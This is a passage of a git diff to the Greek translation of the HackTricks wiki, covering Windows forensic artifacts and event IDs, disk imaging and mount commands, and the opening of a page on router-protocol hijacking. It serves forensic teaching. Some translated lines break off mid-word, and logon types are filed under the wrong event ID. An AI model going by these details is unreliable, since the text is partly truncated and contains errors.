Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: -- Πλήρης διαδρομή του αρχείου +- Πλήρη διαδρομή του αρχείου - Μέγεθος του αρχείου -- Τελευταία τροποποίηση υπό το **$Standard\_Information** (SI) -- Τελευταία ενημέρωση του ShimCache -- Σημαία εκτέλεσης διεργασίας +- Τελευταία τροποποίηση ώρας στο **$Standard\_Information** (SI) +- Τελευταία ενημέρωση ώρας του ShimCache +- Σημαία Εκτέλεσης Διεργασίας -Τέτοια δεδομένα αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος: +Τα δεδομένα αυτά αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος: -- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα για 96 καταχωρήσεις. -- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα για 512 και 1024 καταχωρήσεις αντίστοιχα. +- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 καταχωρήσεων. +- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα 512 και 1024 καταχωρήσεων αντίστοιχα. Για την ανάλυση των αποθηκευμένων πληροφοριών, συνιστάται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). @@ -272,11 +319,11 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### Amcache -Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα καταγεγραμμένο μητρώο που καταγράφει λεπτομέρειες για εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`. +Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα αρχείο καταχώρησης μητρώου που καταγράφει λεπτομέρειες σχετικά με εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στο `C:\Windows\AppCompat\Programas\Amcache.hve`. -Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμένων τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. +Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 hashes τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. -Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την εξαγωγή των αποτελεσμάτων σε μορφή CSV: +Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση των περιεχομένων του αρχείου **Amcache.hve** και την έξοδο των αποτελεσμάτων σε μορφή CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` @@ -284,68 +331,89 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen Το πιο ενδιαφέρον αρχείο CVS που δημιουργείται είναι το `Amcache_Unassociated file entries`. -### Πρόσφατα αρχεία cache +### RecentFileCache -Αυτό το αρχείο μπορεί να βρεθεί μόνο στα Windows 7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων. +Αυτό το αρχείο μπορεί να βρεθεί μόνο στα W7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων. -Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο. +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για τον διαχωρισμό του αρχείου. ### Προγραμματισμένες εργασίες -Μπορείτε να τις εξάγετε από τη διαδρομή `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML. +Μπορείτε να τις εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML. ### Υπηρεσίες -Μπορείτε να τις βρείτε στο μητρώο κάτω από το `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε. +Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε. ### **Windows Store** -Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στη διαδρομή `\ProgramData\Microsoft\Windows\AppRepository\`\ -Αυτή η αποθήκη έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. +Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στον φάκελο `\ProgramData\Microsoft\Windows\AppRepository\`\ +Αυτό το αποθετήριο έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. -Μέσα στον πίνακα Application αυτής της βάσης δεδομένων, είναι δυνατόν να βρεθούν οι στήλες: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες για προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι αναγνωριστικοί των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενοι. +Μέσα στον πίνακα Εφαρμογή αυτής της βάσης δεδομένων, είναι δυνατόν να βρείτε τις στήλες: "Ταυτότητα Εφαρμογής", "Αριθμός Πακέτου" και "Εμφανιζόμενο Όνομα". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές απεγκαταστάθηκαν επειδή οι ταυτότητες των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενες. -Είναι επίσης δυνατό να **βρεθούν εγκατεστημένες εφαρμογές** μέσα στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Είναι επίσης δυνατόν να **βρείτε εγκατεστημένες εφαρμογές** στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Και **απεγκατεστημένες εφαρμογές** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Γεγονότα των Windows +## Γεγονότα Windows Οι πληροφορίες που εμφανίζονται στα γεγονότα των Windows είναι: * Τι συνέβη * Χρονική σήμανση (UTC + 0) -* Συμμετέχοντες χρήστες -* Συμμετέχοντες υπολογιστές (όνομα κεντρικού υπολογιστή, IP) +* Χρήστες που εμπλέκονται +* Συστήματα που εμπλέκονται (όνομα υπολογιστή, IP) * Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες) -Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν από τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**. +Τα αρχεία καταγραφής βρίσκονται στο `C:\Windows\System32\config` πριν τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**. Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -Μπορούν να προβληθούν μέσω του Προβολέα Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Μπορούν να οπτικοποιηθούν από τον Ερευνητή Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Κατανόηση της καταγραφής γεγονότων ασφάλειας των Windows +## Κατανόηση της Καταγραφής Συμβάντων Ασφαλείας των Windows -Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφάλειας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν τις συνδέσεις και αποσυνδέσεις χρηστών, τις ενέργειες των χρηστών και τις αλλαγές στις ρυθμίσεις ασφάλειας, καθ -#### Συμβάντα Τροφοδοσίας Συστήματος +Τα συμβάντα πρόσβασης καταγράφονται στο αρχείο ρυθμίσεων ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα συμβάντα αντικαθίστανται. Τα καταγεγραμμένα συμβάντα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινόχρηστους πόρους. -Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον αποκλεισμό. +### Κύρια Αναγνωριστικά Συμβάντων για Αυθεντικοποίηση Χρήστη: + +- **EventID 4624**: Υποδεικνύει επιτυχή αυθεντικοποίηση χρήστη. +- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης. +- **EventIDs 4634/4647**: Αντιπροσωπεύουν συμβάντα αποσύνδεσης χρήστη. +- **EventID 4672**: Δηλώνει σύνδεση με διαχειριστικά προνόμια. + +#### Υπο-τύποι εντός EventID 4634/4647: + +- **Διαδραστικό (2)**: Άμεση σύνδεση χρήστη. +- **Δίκτυο (3)**: Πρόσβαση σε κοινόχρηστους φακέλους. +- **Παρτίδα (4)**: Εκτέλεση διεργασιών παρτίδας. +- **Υπηρεσία (5)**: Εκκίνηση υπηρεσιών. +- **Διαμεσολαβητής (6)**: Αυθεντικοποίηση διαμεσολαβητή. +- **Ξεκλείδωμα (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης. +- **Δίκτυο Καθαρού Κειμένου (8)**: Μετάδοση κωδικού καθαρού κειμένου, συχνά από το IIS. +- **Νέα Διαπιστευτήρια (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση. +- **Απομακρυσμένο Διαδραστικό (10)**: Απομακρυσμένη επιφάνεια εργασίας ή σύνδεση υπηρεσιών τερματικού. +- **Διαδραστικό Κρυφό (11)**: Σύνδεση με κρυφά διαπιστευτήρια χωρίς επικοινωνία με ελεγκτή τομέα. +- **Απομακρυσμένο Διαδραστικό Κρυφό (12)**: Απομακρυσμένη σύνδεση με κρυφά διαπιστευτήρια. +- **Κρυφό Ξεκλείδωμα (13)**: Ξεκλείδωμα με κρυφά διαπιστευτήρια. + +#### Κωδικοί Κατάστασης και Υπο-Κατάστασης για το EventID 4625: + +- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδεικνύει επίθεση απαρίθμησης ονομάτων χρηστών. +- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή προσπάθεια μαντεψιάς ή επίθεση με βία. +- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδωθεί - Μπορεί να ακολουθήσει μια επίθεση με πολλαπλές αποτυχημένες συνδέσεις. +- **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες προσπάθειες πρόσβασης σε απενεργοποιημένους λογαριασμούς. +- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδεικνύει προσπάθειες πρόσβασης εκτός των ορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης. +- **0xC0000070**: Παραβίαση περιορισμών σταθμού εργασίας - Μπορεί να είναι μια προσπάθεια σύνδεσης από μη εξουσιοδοτημένη τοποθεσία. +- **0xC0000193**: Λήξη λογαριασμού - Προσπάθε +#### Γεγονότα Τροφοδοσίας Συστήματος + +Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό. #### Διαγραφή Καταγραφών -Το EventID 1102 της Ασφάλειας υποδεικνύει τη διαγραφή των καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση αποδεικτικών στοιχείων. +Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση ψηφιακών αποδεικτικών στοιχείων. +
-
- -Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! - -Άλλοι τρόποι υποστήριξης του HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. - -
+{% embed url="https://websec.nl/" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index c04870aa6..9dfb899d1 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -2,16 +2,20 @@
-Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)! -* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+
+ +{% embed url="https://websec.nl/" %} + ## Απόκτηση ### DD @@ -20,8 +24,6 @@ dd if=/dev/sdb of=disk.img ``` ### dcfldd - -Το **dcfldd** είναι ένα εργαλείο που χρησιμοποιείται για την αντιγραφή εικόνων δίσκου. Αυτό το εργαλείο είναι μια εναλλακτική λύση στο dd, μερικές φορές προτιμάται για την ακρίβεια της αντιγραφής. Οι εντολές και οι παράμετροι του dcfldd είναι παρόμοιες με αυτές του dd, μερικές φορές με μερικές επιπλέον δυνατότητες. Μπορεί να χρησιμοποιηθεί για την αντιγραφή εικόνων δίσκου, την αντιγραφή μόνο των μηχανικών τμημάτων ενός δίσκου, την αντιγραφή με συμπίεση και πολλά άλλα. ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= @@ -56,7 +58,7 @@ ewfacquire /dev/sdb ### Πολλαπλοί τύποι -Στα **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε τη δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για να **τοποθετήσετε την εικόνα ανάκτησης**. +Στα **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε τη δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για **την τοποθέτηση της εικόνας ψηφιακής ανάκτησης**. ### Raw ```bash @@ -68,14 +70,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b mount evidence.img /mnt ``` ### EWF - -Το EWF (EnCase Evidence File) είναι ένα αρχείο εικόνας που χρησιμοποιείται από το λογισμικό EnCase για την αποθήκευση αντιγράφων ασφαλείας των αποδεικτικών στοιχείων. Το EWF αποτελείται από έναν κύριο αρχείο (.E01) και πολλά επιπλέον αρχεία (.EX01) που περιέχουν τα δεδομένα της εικόνας. - -Για να αποκτήσετε μια εικόνα EWF, μπορείτε να χρησιμοποιήσετε το λογισμικό EnCase ή άλλα εργαλεία όπως το FTK Imager. Αυτά τα εργαλεία σάς επιτρέπουν να αποκτήσετε μια ακριβή αντιγραφή του περιεχομένου του σκληρού δίσκου ή του μέσου αποθήκευσης και να το αποθηκεύσετε σε ένα αρχείο EWF. - -Για να προσπελάσετε τα δεδομένα μιας εικόνας EWF, πρέπει να την προσαρτήσετε σε έναν εικονικό δίσκο. Αυτό μπορεί να γίνει χρησιμοποιώντας το εργαλείο ewfmount ή άλλα εργαλεία που υποστηρίζουν το EWF format. Μετά την προσάρτηση, μπορείτε να εξερευνήσετε τα δεδομένα της εικόνας όπως θα κάνατε με έναν συνηθισμένο δίσκο. - -Η απόκτηση και η προσάρτηση εικόνων EWF είναι σημαντικά εργαλεία στην ψηφιακή διαφθορά και την ανάκτηση αποδεικτικών στοιχείων. Με τη χρήση αυτών των μεθόδων, μπορείτε να διερευνήσετε και να ανακτήσετε σημαντικά δεδομένα από εικόνες EWF. ```bash #Get file type file evidence.E01 @@ -92,12 +86,12 @@ mount output/ewf1 -o ro,norecovery /mnt ``` ### ArsenalImageMounter -Είναι μια εφαρμογή για τα Windows που χρησιμοποιείται για την προσάρτηση τόμων. Μπορείτε να την κατεβάσετε από εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Είναι μια εφαρμογή Windows για την τοποθέτηση όγκων. Μπορείτε να την κατεβάσετε εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) ### Σφάλματα -* **`cannot mount /dev/loop0 read-only`** σε αυτήν την περίπτωση χρειάζεται να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`** -* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτήν την περίπτωση η προσάρτηση απέτυχε επειδή η μετατόπιση του συστήματος αρχείων είναι διαφορετική από αυτήν της εικόνας του δίσκου. Πρέπει να βρείτε το μέγεθος του τομέα (Sector size) και τον αρχικό τομέα (Start sector): +* **`cannot mount /dev/loop0 read-only`** σε αυτήν την περίπτωση πρέπει να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`** +* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτήν την περίπτωση η τοποθέτηση απέτυχε επειδή το offset του συστήματος αρχείων είναι διαφορετικό από αυτό της εικόνας δίσκου. Πρέπει να βρείτε το μέγεθος του τομέα και τον τομέα έναρξης: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -110,18 +104,22 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` -Σημειώστε ότι το μέγεθος του τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια, τοποθετήστε την εικόνα ως εξής: +Σημειώστε ότι το μέγεθος του τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια προσαρτήστε την εικόνα όπως παρακάτω: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` +
+ +{% embed url="https://websec.nl/" %} +
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! -* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 06456d66e..3c42f28cb 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,47 +2,64 @@
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
+
-## Επισκόπηση FHRP Hijacking +{% embed url="https://websec.nl/" %} + +## Επισκόπηση Απάτης FHRP Hijacking ### Εισαγωγή στο FHRP -Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου συγχωνεύοντας πολλούς δρομολογητές σε μια μονάδα εικονικού δρομολογητή, βελτιώνοντας έτσι την κατανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτήν τη σουίτα. +Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου με τη συγχώνευση πολλαπλών δρομολογητών σε μια εικονική μονάδα, βελτιώνοντας έτσι τη διανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτή τη σουίτα. -### Εισαγωγή στο πρωτόκολλο GLBP -Το GLBP, που δημιουργήθηκε από την Cisco, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας το 